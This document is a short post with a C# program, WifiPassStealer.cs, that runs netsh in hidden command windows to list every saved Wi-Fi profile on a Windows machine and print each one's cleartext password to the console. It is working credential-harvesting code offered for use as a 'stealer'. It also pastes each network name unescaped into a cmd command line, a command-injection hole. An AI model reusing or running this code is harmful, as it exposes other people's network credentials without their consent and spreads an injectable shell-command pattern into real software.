A small C# program to grab wifi passwords (as well as the names) and output it to the console.

WifiPassStealer.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace WifiPassGrabber
{
    class Program
    {
        static void Main(string[] args)
        {
            System.Diagnostics.ProcessStartInfo procStartInfo =
    new System.Diagnostics.ProcessStartInfo("cmd", "/c netsh wlan show profile");
            procStartInfo.RedirectStandardOutput = true;
            procStartInfo.UseShellExecute = false;
            procStartInfo.CreateNoWindow = true;
            System.Diagnostics.Process proc = new System.Diagnostics.Process();
            proc.StartInfo = procStartInfo;
            proc.Start();
            string result = proc.StandardOutput.ReadToEnd();

            System.Text.RegularExpressions.Regex r = new System.Text.RegularExpressions.Regex(@"All User Profile     : (.*)\n");
            System.Collections.IEnumerator e = r.Matches(result).GetEnumerator();
            while(e.MoveNext() != false)
            {
                Console.WriteLine("-----");
                System.Collections.IEnumerator en = ((System.Text.RegularExpressions.Match)e.Current).Groups.GetEnumerator();
                en.MoveNext();
                en.MoveNext();
                string name = en.Current.ToString();
                Console.WriteLine(name);
                Console.WriteLine(":::::");
                //
                System.Diagnostics.ProcessStartInfo procStartInfo2 =
    new System.Diagnostics.ProcessStartInfo("cmd", "/c netsh wlan show profile \""+name+"\" key=clear");
                procStartInfo2.RedirectStandardOutput = true;
                procStartInfo2.UseShellExecute = false;
                procStartInfo2.CreateNoWindow = true;
                System.Diagnostics.Process proc2 = new System.Diagnostics.Process();
                proc2.StartInfo = procStartInfo2;
                proc2.Start();
                string result2 = proc2.StandardOutput.ReadToEnd();

                System.Text.RegularExpressions.Regex r2 = new System.Text.RegularExpressions.Regex(@"    Key Content            : (.*)\n");

                System.Collections.IEnumerator en2 = (r2.Match(result2).Groups.GetEnumerator());
                en2.MoveNext();
                en2.MoveNext();
                try
                {
                    Console.WriteLine(en2.Current.ToString());
                }catch(Exception exc)
                {
                    Console.WriteLine("NETWORK");
                    Console.WriteLine("OPEN");
                }
                Console.WriteLine("-----");
                Console.WriteLine("");
            }
}
    }
}